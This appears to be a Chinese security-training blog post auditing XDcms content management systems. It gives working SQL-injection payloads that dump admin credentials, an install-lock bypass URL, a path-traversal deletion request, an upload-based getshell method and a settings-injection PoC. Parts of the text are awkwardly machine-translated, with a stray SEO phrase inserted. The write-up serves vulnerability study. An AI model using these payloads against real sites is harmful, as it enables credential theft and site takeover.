php删除目录-xdcms漏洞收集

获取互联网安全教程

免费并加入群组

本文由控制安全大学-柚子贡献

Xdcms外卖网站管理系统 v1.0 漏洞

Xdcmsv3.0.1漏洞环境搭建

1、xdcms_3.0.1的源代码放在WWW目录下。

源码下载地址:

关联:

提取码:zkaq

2.安装,访问()一路选择下一步,直到出现设置页面,创建数据库...安装完成。

输入数据库账号的密码(可以选择新建数据库xdcms,也可以不新建,只需输入数据库名称即可),点击进入下一步,对网站进行简单设置

可以看到安装成功,请记住您的管理员帐号:xdcms,密码xdcms,并进入后台管理。

代码审计目录概述

首先,你可以拿出代码审计工具——Seay源码审计系统进行手动审计,先看看哪里容易出现问题,这样就不用那么盲目了。

我发现xdcms的目录很简单php删除目录,包括后台admin、缓存、数据、系统system、上传uploadfile。 手动扫描发现 171 个可疑漏洞。

这里的目录不是很复杂,并且没有使用thinkphp的框架,而是自己搭建的框架,所以代码还是很容易理解的!

首先,当我们看到目录时,我们需要找到数据库文件。 有默认下载路径吗? 如果通过这些方法,我们可以直接获取管理员账户的密码,那么后面就不需要再进行任何审核了。

这里没有默认的mdb文件或者sql文件,备份也都是空的,所以唯一可能有用的就是config.inc.php文件,而且因为是php,肯定不能显示,所以就有了这里没有这样的漏洞。

下面我们可以推测admin一定是管理员目录,cache是​​缓存,这个估计没什么用。 。

install是安装目录,经常存在删除任意文件的漏洞,然后利用这些漏洞删除install目录下的lock文件,导致cms重新安装。

系统目录应该是整个网站的组成文件,这个文件夹应该是审核的重点!

最后还有一个用于上传文件的目录。 我们来看看上传任意文件是否存在漏洞。

简介概述

我们来看看都有哪些配置文件,以及经常引用哪些文件。 这些文件往往贯穿整个网站创建过程,一些重要的过滤功能通常都在这些文件中。

这是index.php 文件。 我们可以看到两个配置文件,下面会逐步审核。

  1. <?php

  2. if(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}

  3. require dirname(__FILE__).'/system/common.inc.php';

  4. ?>

步骤进入config.inc.php文件,主要是数据库配置信息。 你会看到使用了utf-8字符,因此没有宽字节注入

进入system/common.inc.php文件,这个文件应该是整个网站的架构文件。 可以看到前面提到的system目录就是系统目录。 另外,需要注意的是,最后一行引用了一个fun.inc.php文件,应该是函数的配置文件,而这种文件往往是过滤函数的聚集地。

继续仔细查看 fun.inc.php 文件。 这是 fun.inc.php 的一部分。 可以看到这里有两个过滤功能,一个应该是xss过滤,另一个应该是sql过滤。 而这里的sql过滤只匹配大写,所以我们可以使用大写和小写来绕过。 所以如果你使用这个safe_html()函数,但是单步进入数据库查询,那么这里肯定存在sql注入。

登录时sql注入漏洞分析

全局搜索safe_html,很多地方都这么称呼,但并不是所有都有注入,因为有些地方有safe_replace和invtal保护index.php?m=member&f=login_save

没有办法绕过它,还有xdcms会员管理界面(而且我们暂时不能使用,因为我们不知道如何管理后台账户)

成员接口(用单个冒号包裹并且传递的参数仅经过safe_html过滤..并且启用了错误提示,则可以使用错误注入)可以使用错误注入。 只要是只将safe_html带入数据库的查询,就有注入,这样就可以在admin表上显示管理员信息。

/系统/模块/成员/索引

里面的程序不难读。 可以看到POST收到的账户密码,然后通过safe_html()函数过滤判断是否为空,所以直接带入第103行数据库查询。这里只是通过safe_html()过滤函数,所以实际上有一个注入。

漏洞重现

有效负载:

  1. username=bestorange'or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&submit=+%E7%99%BB+%E5%BD%95+

注册表sql注入漏洞漏洞分析

现在先熟悉一下流程,只能看到注册登录。

然后注册一个账号orange,密码orange。

里面看到的密码是经过md5加密两次的。 接下来我们看一下代码。

/system/modules/member/index.php

里面的代码很容易理解,函数是register_save(),注册并保存。 首先,POST接收传递过来的参数,判断是否为空。

66行密码经过md5两次加密。 可以看到,没有进行任何有意义的过滤,并且在第50行和第72行听到了过滤函数safe_html()。下面我们开始跟踪这个函数。

  1. function safe_html($str){

  2. if(empty($str)){return;}

  3. $str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file

  4. |outfile/','',$str);

  5. return htmlspecialchars($str);

  6. }

要分析这个过滤函数,只需将里面听到的select、insert、update等替换成空即可。

safe_html中实际上传递了一个SQL注入敏感词,并且对=和进行了过滤,并且不考虑SQL注入敏感词的大小写。 这里只过滤了大写字母,所以我们使用小写字母来绕过它。 这里把=和过滤了,我们SQL注入语句可以使用正则保存,不用*和=。

漏洞重现

这里我们使用错误注入来测试,bestorange'orupdatexml(1,concat(0x7e,(selEctconcat(username,0x23,password)frOmc_admin),0x7e),1)#&password=bestorange

有效负载:

  1. username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+

获取shell

顺着uploadfile文件夹找到文件上传点,并限制上传文件的后缀。

木马getshell可以借助admin后台限制的文件格式修改进行上传,上传文件后还可以更改后缀。 system/function/upload.inc.php(文中有多个文件上传点)

通过前面注入获得的管理员账号密码登录后台,成功进入后台管理系统。 在系统设置—>网站配置—>上传设置—>文件/图片上传格式限制。

添加php文件类型,稍后上传。

删除任何文件

全局搜索file_get_contents意外收获取消链接任何目录文件已删除index.php?m=xdcms&c=data&f=delete&file=../../test

  1. public function delete(){

  2. $file=trim($_GET["file"]);

  3. $dir=DATA_PATH.'backup/'.$file;

  4. if(is_dir($dir)){

  5. //删除文件夹中的文件

  6. if (false != ($handle = opendir ( $dir ))) {

  7. while ( false !== ($file = readdir ( $handle )) ) {

  8. if ($file != "." && $file != ".."&&strpos($file,".")) {

  9. @unlink($dir."/".$file);

  10. }

  11. }

  12. closedir ( $handle );

  13. }

  14. @rmdir($dir);//删除目录

  15. }

  16. showmsg(C('success'),'-1');

  17. }

传入的参数没有经过过滤,也没有列入白名单php删除目录,直接拼接到dir中。 如果要触发循环就得做if判断,所以这里只能是../进行目录遍历和任意文件夹的可控删除。

xdcms外卖网站管理系统v1.0漏洞介绍

XDcms外卖网站管理系统主要采用Php+Mysql+Smarty技术基础开发,采用OOP(面向对象)形式构建基本操作框架,集在线外卖、团购、积分商城、优惠券、新闻、在线订单、在线支付,生成订单邮件/邮件通知、评论、谷歌地图、问答,并与支付宝、Dz峰会、短信平台socket等功能完美集成。 是一个完全开源的中级外卖网站管理系统。 作为国外最受欢迎的PHP外卖网站系统之一,XDcms在不断提升用户服务和产品质量的同时,越来越注重用户体验。 系统开发以来,经过上百次的更新和修改,网站的建立和管理变得更加简单和方便。

环境搭建

全局变量覆盖漏洞分析

/安装/index.php

代码的含义是遍历传入变量链表的参数,例如$_GET['a']的参数是$a。

传入一个insLockfile来判断是否存在。这里有问题

直接跳过判断进行安装。

此时安装的sql数据库文件会记录在/data/config.inc.php中

借助poc:找到可以外部连接的mysql(自己爆)

漏洞重现

直接进入这个地址

  1. http://127.0.0.1/xdcms_dc_v1.0/install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=123456&dbpre=c_&dblang=gbk&adminuser=xdcms&adminpwd=xdcms

后台任意源码读取

漏洞文件:systemmodulesxdcmstemplate.php

看到xdcms目录下的模板文件,直观上就是后台模板编辑。所以先登录后台,登录

使用权:

后台getshell漏洞分析

/system/modules/xdcms/setting.php

还可以使用foreach遍历链表来增加值。 这里的$info['siteurl']是直接写入的,没有经过处理。

漏洞重现

访问:/index.php?m=xdcms&c=setting

我只是添加了这个 phpinfo 用于测试

POC:

  1. ');?>http://127.0.0.1/

免责声明:本公众号分享的内容仅供讨论网络安全技术,请勿用于非法用途。

所有穿透均需经过授权,违规者后果自负,与本账号及作者无关,请切记遵守法律。